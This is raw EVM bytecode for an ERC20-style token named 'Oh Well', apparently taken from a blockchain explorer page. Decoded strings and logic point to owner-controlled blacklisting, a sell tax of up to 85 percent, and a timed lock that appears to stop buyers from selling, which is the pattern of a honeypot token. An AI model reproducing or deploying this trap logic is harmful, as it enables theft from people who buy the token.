030a9190612d34565b61096f565b005b34801561031d57600080fd5b5061033860048036038101906103339190612d74565b610ad5565b6040516103459190612ce0565b60405180910390f35b34801561035a57600080fd5b5061037560048036038101906103709190612da1565b610af5565b6040516103829190612ce0565b60405180910390f35b34801561039757600080fd5b506103b260048036038101906103ad9190612d74565b610bad565b6040516103bf9190612ce0565b60405180910390f35b3480156103d457600080fd5b506103dd610bcd565b6040516103ea9190612e03565b60405180910390f35b3480156103ff57600080fd5b5061041a60048036038101906104159190612c85565b610bd6565b6040516104279190612ce0565b60405180910390f35b34801561043c57600080fd5b5061045760048036038101906104529190612e1e565b610c82565b005b34801561046557600080fd5b50610480600480360381019061047b9190612c85565b610dc8565b005b34801561048e57600080fd5b50610497610e97565b6040516104a5929190612e5e565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190612e87565b610ec3565b005b3480156104e357600080fd5b506104fe60048036038101906104f99190612d74565b610fcc565b60405161050b9190612b1a565b60405180910390f35b34801561052057600080fd5b50610529611015565b005b34801561053757600080fd5b5061054061109d565b60405161054d9190612ec3565b60405180910390f35b34801561056257600080fd5b5061057d60048036038101906105789190612d74565b6110c3565b60405161058a9190612ce0565b60405180910390f35b34801561059f57600080fd5b506105a86110e3565b6040516105b59190612b1a565b60405180910390f35b3480156105ca57600080fd5b506105d36110e9565b6040516105e09190612ec3565b60405180910390f35b3480156105f557600080fd5b506105fe611112565b60405161060b9190612bc5565b60405180910390f35b34801561062057600080fd5b5061063b60048036038101906106369190612c85565b61114f565b6040516106489190612ce0565b60405180910390f35b34801561065d57600080fd5b506106666111fb565b6040516106739190612ec3565b60405180910390f35b34801561068857600080fd5b506106a3600480360381019061069e9190612c85565b611221565b6040516106b09190612ce0565b60405180910390f35b3480156106c557600080fd5b506106e060048036038101906106db9190612d34565b61123f565b005b3480156106ee57600080fd5b506106f76113a5565b604051610705929190612e5e565b60405180910390f35b34801561071a57600080fd5b5061073560048036038101906107309190612f0a565b6113d1565b005b34801561074357600080fd5b5061075e6004803603810190610759919061307f565b61146a565b005b34801561076c57600080fd5b50610787600480360381019061078291906130db565b61157b565b6040516107949190612b1a565b60405180910390f35b3480156107a957600080fd5b506107b2611602565b6040516107bf9190612ce0565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea9190612d74565b611615565b6040516107fc9190612b1a565b60405180910390f35b34801561081157600080fd5b5061081a61162d565b6040516108279190612b1a565b60405180910390f35b34801561083c57600080fd5b5061085760048036038101906108529190612d74565b611633565b005b34801561086557600080fd5b50610880600480360381019061087b919061311b565b61172a565b005b34801561088e57600080fd5b50610897611801565b6040516108a491906131ba565b60405180910390f35b3480156108b957600080fd5b506108c2611827565b6040516108cf9190612b1a565b60405180910390f35b3480156108e457600080fd5b506108ed61182d565b6040516108fb9291906131d5565b60405180910390f35b600d5481565b60606040518060400160405280600781526020017f4f682057656c6c00000000000000000000000000000000000000000000000000815250905090565b600061095b61095461183f565b8484611847565b6001905092915050565b6000600c54905090565b61097761183f565b73ffffffffffffffffffffffffffffffffffffffff166109956110e9565b73ffffffffffffffffffffffffffffffffffffffff16146109eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e29061324a565b60405180910390fd5b600081836109f99190613299565b60ff1690506014811115610a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a399061331a565b60405180910390fd5b60405180604001604052808460ff1681526020018360ff16815250601260008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a1505050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000610b02848484611a10565b610ba284610b0e61183f565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b5861183f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b9d919061333a565b611847565b600190509392505050565b60066020528060005260406000206000915054906101000a900460ff1681565b60006009905090565b6000610c78610be361183f565b848460046000610bf161183f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c73919061336e565b611847565b6001905092915050565b610c8a61183f565b73ffffffffffffffffffffffffffffffffffffffff16610ca86110e9565b73ffffffffffffffffffffffffffffffffffffffff1614610cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf59061324a565b60405180910390fd5b60006009600a610d0e91906134d5565b6103e86005600c54610d209190613520565b610d2a9190613591565b610d349190613591565b9050808310158015610d465750808210155b610d85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7c9061360e565b60405180910390fd5b6009600a610d9391906134d5565b83610d9e9190613520565b600e819055506009600a610db291906134d5565b82610dbd9190613520565b600f81905550505050565b610dd061183f565b73ffffffffffffffffffffffffffffffffffffffff16610dee6110e9565b73ffffffffffffffffffffffffffffffffffffffff1614610e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3b9061324a565b60405180910390fd5b8042610e50919061336e565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60128060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b610ecb61183f565b73ffffffffffffffffffffffffffffffffffffffff16610ee96110e9565b73ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f369061324a565b60405180910390fd5b80471015610f82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f799061367a565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610fc8573d6000803e3d6000fd5b5050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61101d61183f565b73ffffffffffffffffffffffffffffffffffffffff1661103b6110e9565b73ffffffffffffffffffffffffffffffffffffffff1614611091576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110889061324a565b60405180910390fd5b61109b600061220d565b565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017fc2af5c5f28e38384295f2fc2af00000000000000000000000000000000000000815250905090565b60006111f161115c61183f565b84846004600061116a61183f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ec919061333a565b611847565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061123561122e61183f565b8484611a10565b6001905092915050565b61124761183f565b73ffffffffffffffffffffffffffffffffffffffff166112656110e9565b73ffffffffffffffffffffffffffffffffffffffff16146112bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b29061324a565b60405180910390fd5b600081836112c99190613299565b60ff1690506055811115611312576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113099061331a565b60405180910390fd5b60405180604001604052808460ff1681526020018360ff16815250601360008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a1505050565b60138060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b6113d961183f565b73ffffffffffffffffffffffffffffffffffffffff166113f76110e9565b73ffffffffffffffffffffffffffffffffffffffff161461144d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114449061324a565b60405180910390fd5b80600a60006101000a81548160ff02191690831515021790555050565b61147261183f565b73ffffffffffffffffffffffffffffffffffffffff166114906110e9565b73ffffffffffffffffffffffffffffffffffffffff16146114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dd9061324a565b60405180910390fd5b60005b825181101561157657816007600085848151811061150a5761150961369a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061156e906136c9565b9150506114e9565b505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900460ff1681565b60086020528060005260406000206000915090505481565b600b5481565b61163b61183f565b73ffffffffffffffffffffffffffffffffffffffff166116596110e9565b73ffffffffffffffffffffffffffffffffffffffff16146116af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a69061324a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171590613783565b60405180910390fd5b6117278161220d565b50565b61173261183f565b73ffffffffffffffffffffffffffffffffffffffff166117506110e9565b73ffffffffffffffffffffffffffffffffffffffff16146117a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179d9061324a565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b60108060000154908060010154905082565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ad90613815565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191c906138a7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a039190612b1a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7690613939565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae5906139cb565b60405180910390fd5b60008111611b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2890613a5d565b60405180910390fd5b600e5481111580611b8b5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc190613aef565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c6e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca490613b5b565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d5757600f5481611d0b84610fcc565b611d15919061336e565b1115611d56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4d90613bed565b60405180910390fd5b5b600d54611d6330610fcc565b10158015611d805750601554601654611d7c919061336e565b4210155b8015611d97575060148054906101000a900460ff16155b8015611df15750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e305750611e006110e9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e6f5750611e3f6110e9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7d57611e7c6122d1565b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ecc919061333a565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561214c57611fdc8285600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612443565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036120b757600a60009054906101000a900460ff16156120b257600b600081548092919061205b906136c9565b91905055506009544261206e919061336e565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61214b565b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461214a57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421061214957600080fd5b5b5b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461219b919061336e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121ff9190612b1a565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60016014806101000a81548160ff0219169083151502179055506000601060000154111561238b57600061230960106000015461265f565b9050600081111561238957601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561237c573d6000803e3d6000fd5b5060006010600001819055505b505b600060106001015411156123f457600060026010600101546123ad9190613591565b90506000816010600101546123c2919061333a565b905060006123cf8361265f565b905060008111156123e5576123e482826128b9565b5b60006010600101819055505050505b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a14260168190555060006014806101000a81548160ff021916908315150217905550565b60008060126040518060400160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681525050905082156124df5760136040518060400160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff168152505090505b60006064826000015160ff16876124f69190613520565b6125009190613591565b905060006064836020015160ff16886125199190613520565b6125239190613591565b9050600082111561254b578160106000016000828254612543919061336e565b925050819055505b6000811115612571578060106001016000828254612569919061336e565b925050819055505b6000818361257f919061336e565b905080600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125d0919061336e565b925050819055506000811115612646573073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161263d9190612b1a565b60405180910390a35b8088612652919061333a565b9450505050509392505050565b6000804790506000600267ffffffffffffffff81111561268257612681612f3c565b5b6040519080825280602002602001820160405280156126b05781602001602082028036833780820191505090505b50905030816000815181106126c8576126c761369a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561276f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127939190613c22565b816001815181106127a7576127a661369a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061280e30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611847565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612872959493929190613d48565b600060405180830381600087803b15801561288c57600080fd5b505af11580156128a0573d6000803e3d6000fd5b5050505081476128b0919061333a565b92505050919050565b6128e630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611847565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198330866000806129346110e9565b426040518863ffffffff1660e01b815260040161295696959493929190613da2565b60606040518083038185885af1158015612974573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906129999190613e18565b50915050600081836129ab919061333a565b1115612a0857612a0781836129c0919061333a565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612a0d90919063ffffffff16565b5b505050565b80471015612a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4790613eb7565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051612a7690613f08565b60006040518083038185875af1925050503d8060008114612ab3576040519150601f19603f3d011682016040523d82523d6000602084013e612ab8565b606091505b5050905080612afc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612af390613f8f565b60405180910390fd5b505050565b6000819050919050565b612b1481612b01565b82525050565b6000602082019050612b2f6000830184612b0b565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b6f578082015181840152602081019050612b54565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b9782612b35565b612ba18185612b40565b9350612bb1818560208601612b51565b612bba81612b7b565b840191505092915050565b60006020820190508181036000830152612bdf8184612b8c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c2682612bfb565b9050919050565b612c3681612c1b565b8114612c4157600080fd5b50565b600081359050612c5381612c2d565b92915050565b612c6281612b01565b8114612c6d57600080fd5b50565b600081359050612c7f81612c59565b92915050565b60008060408385031215612c9c57612c9b612bf1565b5b6000612caa85828601612c44565b9250506020612cbb85828601612c70565b9150509250929050565b60008115159050919050565b612cda81612cc5565b82525050565b6000602082019050612cf56000830184612cd1565b92915050565b600060ff82169050919050565b612d1181612cfb565b8114612d1c57600080fd5b50565b600081359050612d2e81612d08565b92915050565b60008060408385031215612d4b57612d4a612bf1565b5b6000612d5985828601612d1f565b9250506020612d6a85828601612d1f565b9150509250929050565b600060208284031215612d8a57612d89612bf1565b5b6000612d9884828501612c44565b91505092915050565b600080600060608486031215612dba57612db9612bf1565b5b6000612dc886828701612c44565b9350506020612dd986828701612c44565b9250506040612dea86828701612c70565b9150509250925092565b612dfd81612cfb565b82525050565b6000602082019050612e186000830184612df4565b92915050565b60008060408385031215612e3557612e34612bf1565b5b6000612e4385828601612c70565b9250506020612e5485828601612c70565b9150509250929050565b6000604082019050612e736000830185612df4565b612e806020830184612df4565b9392505050565b600060208284031215612e9d57612e9c612bf1565b5b6000612eab84828501612c70565b91505092915050565b612ebd81612c1b565b82525050565b6000602082019050612ed86000830184612eb4565b92915050565b612ee781612cc5565b8114612ef257600080fd5b50565b600081359050612f0481612ede565b92915050565b600060208284031215612f2057612f1f612bf1565b5b6000612f2e84828501612ef5565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f7482612b7b565b810181811067ffffffffffffffff82111715612f9357612f92612f3c565b5b80604052505050565b6000612fa6612be7565b9050612fb28282612f6b565b919050565b600067ffffffffffffffff821115612fd257612fd1612f3c565b5b602082029050602081019050919050565b600080fd5b6000612ffb612ff684612fb7565b612f9c565b9050808382526020820190506020840283018581111561301e5761301d612fe3565b5b835b8181101561304757806130338882612c44565b845260208401935050602081019050613020565b5050509392505050565b600082601f83011261306657613065612f37565b5b8135613076848260208601612fe8565b91505092915050565b6000806040838503121561309657613095612bf1565b5b600083013567ffffffffffffffff8111156130b4576130b3612bf6565b5b6130c085828601613051565b92505060206130d185828601612ef5565b9150509250929050565b600080604083850312156130f2576130f1612bf1565b5b600061310085828601612c44565b925050602061311185828601612c44565b9150509250929050565b6000806040838503121561313257613131612bf1565b5b600061314085828601612c44565b925050602061315185828601612ef5565b9150509250929050565b6000819050919050565b600061318061317b61317684612bfb565b61315b565b612bfb565b9050919050565b600061319282613165565b9050919050565b60006131a482613187565b9050919050565b6131b481613199565b82525050565b60006020820190506131cf60008301846131ab565b92915050565b60006040820190506131ea6000830185612b0b565b6131f76020830184612b0b565b9392505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613234602083612b40565b915061323f826131fe565b602082019050919050565b6000602082019050818103600083015261326381613227565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132a482612cfb565b91506132af83612cfb565b9250828201905060ff8111156132c8576132c761326a565b5b92915050565b7f43616e2774207365742074617820746f6f206869676800000000000000000000600082015250565b6000613304601683612b40565b915061330f826132ce565b602082019050919050565b60006020820190508181036000830152613333816132f7565b9050919050565b600061334582612b01565b915061335083612b01565b92508282039050818111156133685761336761326a565b5b92915050565b600061337982612b01565b915061338483612b01565b925082820190508082111561339c5761339b61326a565b5b92915050565b60008160011c9050919050565b6000808291508390505b60018511156133f9578086048111156133d5576133d461326a565b5b60018516156133e45780820291505b80810290506133f2856133a2565b94506133b9565b94509492505050565b60008261341257600190506134ce565b8161342057600090506134ce565b816001811461343657600281146134405761346f565b60019150506134ce565b60ff8411156134525761345161326a565b5b8360020a9150848211156134695761346861326a565b5b506134ce565b5060208310610133831016604e8410600b84101617156134a45782820a90508381111561349f5761349e61326a565b5b6134ce565b6134b184848460016133af565b925090508184048111156134c8576134c761326a565b5b81810290505b9392505050565b60006134e082612b01565b91506134eb83612cfb565b92506135187fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613402565b905092915050565b600061352b82612b01565b915061353683612b01565b925082820261354481612b01565b9150828204841483151761355b5761355a61326a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061359c82612b01565b91506135a783612b01565b9250826135b7576135b6613562565b5b828204905092915050565b7f496e76616c69642053657474696e677300000000000000000000000000000000600082015250565b60006135f8601083612b40565b9150613603826135c2565b602082019050919050565b60006020820190508181036000830152613627816135eb565b9050919050565b7f496e73756666696369656e74204554482062616c616e63650000000000000000600082015250565b6000613664601883612b40565b915061366f8261362e565b602082019050919050565b6000602082019050818103600083015261369381613657565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006136d482612b01565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036137065761370561326a565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061376d602683612b40565b915061377882613711565b604082019050919050565b6000602082019050818103600083015261379c81613760565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006137ff602483612b40565b915061380a826137a3565b604082019050919050565b6000602082019050818103600083015261382e816137f2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613891602283612b40565b915061389c82613835565b604082019050919050565b600060208201905081810360008301526138c081613884565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613923602583612b40565b915061392e826138c7565b604082019050919050565b6000602082019050818103600083015261395281613916565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006139b5602383612b40565b91506139c082613959565b604082019050919050565b600060208201905081810360008301526139e4816139a8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a47602983612b40565b9150613a52826139eb565b604082019050919050565b60006020820190508181036000830152613a7681613a3a565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d617860008201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b6000613ad9602983612b40565b9150613ae482613a7d565b604082019050919050565b60006020820190508181036000830152613b0881613acc565b9050919050565b7f426c61636b6c69737465642c2063616e27742074726164650000000000000000600082015250565b6000613b45601883612b40565b9150613b5082613b0f565b602082019050919050565b60006020820190508181036000830152613b7481613b38565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785760008201527f616c6c65742e0000000000000000000000000000000000000000000000000000602082015250565b6000613bd7602683612b40565b9150613be282613b7b565b604082019050919050565b60006020820190508181036000830152613c0681613bca565b9050919050565b600081519050613c1c81612c2d565b92915050565b600060208284031215613c3857613c37612bf1565b5b6000613c4684828501613c0d565b91505092915050565b6000819050919050565b6000613c74613c6f613c6a84613c4f565b61315b565b612b01565b9050919050565b613c8481613c59565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613cbf81612c1b565b82525050565b6000613cd18383613cb6565b60208301905092915050565b6000602082019050919050565b6000613cf582613c8a565b613cff8185613c95565b9350613d0a83613ca6565b8060005b83811015613d3b578151613d228882613cc5565b9750613d2d83613cdd565b925050600181019050613d0e565b5085935050505092915050565b600060a082019050613d5d6000830188612b0b565b613d6a6020830187613c7b565b8181036040830152613d7c8186613cea565b9050613d8b6060830185612eb4565b613d986080830184612b0b565b9695505050505050565b600060c082019050613db76000830189612eb4565b613dc46020830188612b0b565b613dd16040830187613c7b565b613dde6060830186613c7b565b613deb6080830185612eb4565b613df860a0830184612b0b565b979650505050505050565b600081519050613e1281612c59565b92915050565b600080600060608486031215613e3157613e30612bf1565b5b6000613e3f86828701613e03565b9350506020613e5086828701613e03565b9250506040613e6186828701613e03565b9150509250925092565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000613ea1601d83612b40565b9150613eac82613e6b565b602082019050919050565b60006020820190508181036000830152613ed081613e94565b9050919050565b600081905092915050565b50565b6000613ef2600083613ed7565b9150613efd82613ee2565b600082019050919050565b6000613f1382613ee5565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b6000613f79603a83612b40565b9150613f8482613f1d565b604082019050919050565b60006020820190508181036000830152613fa881613f6c565b905091905056fea2646970667358221220893eb90c677ce8a978057b1ac1232fb47ecf03ec3426d43378c8d6b818061d7464736f6c63430008110033

Deployed Bytecode

0x60806040526004361061021e5760003560e01c80638c0b5e2211610123578063cfe9dde0116100ab578063f2fde38b1161006f578063f2fde38b14610830578063f837ae0714610859578063f887ea4014610882578063f8b45b05146108ad578063f9d0ee94146108d857610225565b8063cfe9dde014610737578063dd62ed3e14610760578063e0a877c81461079d578063ee9a5d82146107c8578063ef07a1821461080557610225565b8063a8aa1b31116100f2578063a8aa1b3114610651578063a9059cbb1461067c578063cb0e6f7b146106b9578063cc1776d3146106e2578063cf9b22e71461070e57610225565b80638c0b5e22146105935780638da5cb5b146105be57806395d89b41146105e9578063a457c2d71461061457610225565b806339509351116101a65780635966c81e116101755780635966c81e146104ae57806370a08231146104d7578063715018a61461051457806375f0a8741461052b578063768dc7101461055657610225565b806339509351146103f35780634ba422bc146104305780634cf27997146104595780634f7041a51461048257610225565b80631b0f9381116101ed5780631b0f9381146102e85780631cdd3be31461031157806323b872dd1461034e57806328c61f411461038b578063313ce567146103c857610225565b80630445b6671461022a57806306fdde0314610255578063095ea7b31461028057806318160ddd146102bd57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610904565b60405161024c9190612b1a565b60405180910390f35b34801561026157600080fd5b5061026a61090a565b6040516102779190612bc5565b60405180910390f35b34801561028c57600080fd5b506102a760048036038101906102a29190612c85565b610947565b6040516102b49190612ce0565b60405180910390f35b3480156102c957600080fd5b506102d2610965565b6040516102df9190612b1a565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190612d34565b61096f565b005b34801561031d57600080fd5b5061033860048036038101906103339190612d74565b610ad5565b6040516103459190612ce0565b60405180910390f35b34801561035a57600080fd5b5061037560048036038101906103709190612da1565b610af5565b6040516103829190612ce0565b60405180910390f35b34801561039757600080fd5b506103b260048036038101906103ad9190612d74565b610bad565b6040516103bf9190612ce0565b60405180910390f35b3480156103d457600080fd5b506103dd610bcd565b6040516103ea9190612e03565b60405180910390f35b3480156103ff57600080fd5b5061041a60048036038101906104159190612c85565b610bd6565b6040516104279